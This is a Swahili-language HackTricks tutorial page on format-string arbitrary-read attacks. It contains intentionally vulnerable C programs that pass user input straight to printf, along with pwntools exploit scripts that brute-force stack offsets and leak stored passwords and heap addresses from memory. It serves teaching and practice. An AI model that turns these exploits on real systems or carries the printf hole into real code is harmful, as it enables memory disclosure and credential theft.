Format Strings - Mfano wa Kusoma Bila Mpangilio
Reading time: 5 minutes
tip
Jifunze na fanya mazoezi ya AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Jifunze na fanya mazoezi ya GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Support HackTricks
- Angalia mpango wa usajili!
- Jiunge na 💬 kikundi cha Discord au kikundi cha telegram au tufuatilie kwenye Twitter 🐦 @hacktricks_live.
- Shiriki mbinu za udukuzi kwa kuwasilisha PRs kwa HackTricks na HackTricks Cloud repos za github.
Anza Kusoma Binary
Msimbo
#include <stdio.h>
int main(void) {
char buffer[30];
fgets(buffer, sizeof(buffer), stdin);
printf(buffer);
return 0;
}
Ipeleke na:
clang -o fs-read fs-read.c -Wno-format-security -no-pie
Exploit
from pwn import *
p = process('./fs-read')
payload = f"%11$s|||||".encode()
payload += p64(0x00400000)
p.sendline(payload)
log.info(p.clean())
- offset ni 11 kwa sababu kuweka A kadhaa na brute-forcing kwa kutumia loop offsets kutoka 0 hadi 50 iligundua kwamba katika offset 11 na herufi 5 za ziada (pipes
|
katika kesi yetu), inawezekana kudhibiti anwani kamili. - Nilitumika
%11$p
na padding hadi hivyo kwamba anwani ilikuwa 0x4141414141414141 - payload ya format string iko KABLA ya anwani kwa sababu printf inakoma kusoma kwenye byte ya null, hivyo ikiwa tutatuma anwani na kisha format string, printf haitafikia format string kamwe kwani byte ya null itapatikana kabla
- Anwani iliyochaguliwa ni 0x00400000 kwa sababu ndiko binary inaanzia (hakuna PIE)
Soma nywila
#include <stdio.h>
#include <string.h>
char bss_password[20] = "hardcodedPassBSS"; // Password in BSS
int main() {
char stack_password[20] = "secretStackPass"; // Password in stack
char input1[20], input2[20];
printf("Enter first password: ");
scanf("%19s", input1);
printf("Enter second password: ");
scanf("%19s", input2);
// Vulnerable printf
printf(input1);
printf("\n");
// Check both passwords
if (strcmp(input1, stack_password) == 0 && strcmp(input2, bss_password) == 0) {
printf("Access Granted.\n");
} else {
printf("Access Denied.\n");
}
return 0;
}
Kusanya na:
clang -o fs-read fs-read.c -Wno-format-security
Soma kutoka kwenye stack
The stack_password
itahifadhiwa kwenye stack kwa sababu ni variable ya ndani, hivyo kutumia printf kuonyesha maudhui ya stack inatosha. Hii ni exploit ya BF nafasi 100 za kwanza kuvuja nywila kutoka kwenye stack:
from pwn import *
for i in range(100):
print(f"Try: {i}")
payload = f"%{i}$s\na".encode()
p = process("./fs-read")
p.sendline(payload)
output = p.clean()
print(output)
p.close()
Katika picha inawezekana kuona kwamba tunaweza kuvuja nenosiri kutoka kwenye stack katika nafasi ya 10th
:
Soma data
Kukimbia exploit ile ile lakini kwa %p
badala ya %s
inawezekana kuvuja anwani ya heap kutoka kwenye stack katika %25$p
. Zaidi ya hayo, kulinganisha anwani iliyovuja (0xaaaab7030894
) na nafasi ya nenosiri katika kumbukumbu katika mchakato huo tunaweza kupata tofauti za anwani:
Sasa ni wakati wa kutafuta jinsi ya kudhibiti anwani 1 katika stack ili kuweza kuifikia kutoka kwa udhaifu wa pili wa format string:
from pwn import *
def leak_heap(p):
p.sendlineafter(b"first password:", b"%5$p")
p.recvline()
response = p.recvline().strip()[2:] #Remove new line and "0x" prefix
return int(response, 16)
for i in range(30):
p = process("./fs-read")
heap_leak_addr = leak_heap(p)
print(f"Leaked heap: {hex(heap_leak_addr)}")
password_addr = heap_leak_addr - 0x126a
print(f"Try: {i}")
payload = f"%{i}$p|||".encode()
payload += b"AAAAAAAA"
p.sendline(payload)
output = p.clean()
print(output.decode("utf-8"))
p.close()
Na inawezekana kuona kwamba katika jaribio 14 na kupitishwa kulikotumika tunaweza kudhibiti anwani:
Exploit
from pwn import *
p = process("./fs-read")
def leak_heap(p):
# At offset 25 there is a heap leak
p.sendlineafter(b"first password:", b"%25$p")
p.recvline()
response = p.recvline().strip()[2:] #Remove new line and "0x" prefix
return int(response, 16)
heap_leak_addr = leak_heap(p)
print(f"Leaked heap: {hex(heap_leak_addr)}")
# Offset calculated from the leaked position to the possition of the pass in memory
password_addr = heap_leak_addr + 0x1f7bc
print(f"Calculated address is: {hex(password_addr)}")
# At offset 14 we can control the addres, so use %s to read the string from that address
payload = f"%14$s|||".encode()
payload += p64(password_addr)
p.sendline(payload)
output = p.clean()
print(output)
p.close()
tip
Jifunze na fanya mazoezi ya AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Jifunze na fanya mazoezi ya GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Support HackTricks
- Angalia mpango wa usajili!
- Jiunge na 💬 kikundi cha Discord au kikundi cha telegram au tufuatilie kwenye Twitter 🐦 @hacktricks_live.
- Shiriki mbinu za udukuzi kwa kuwasilisha PRs kwa HackTricks na HackTricks Cloud repos za github.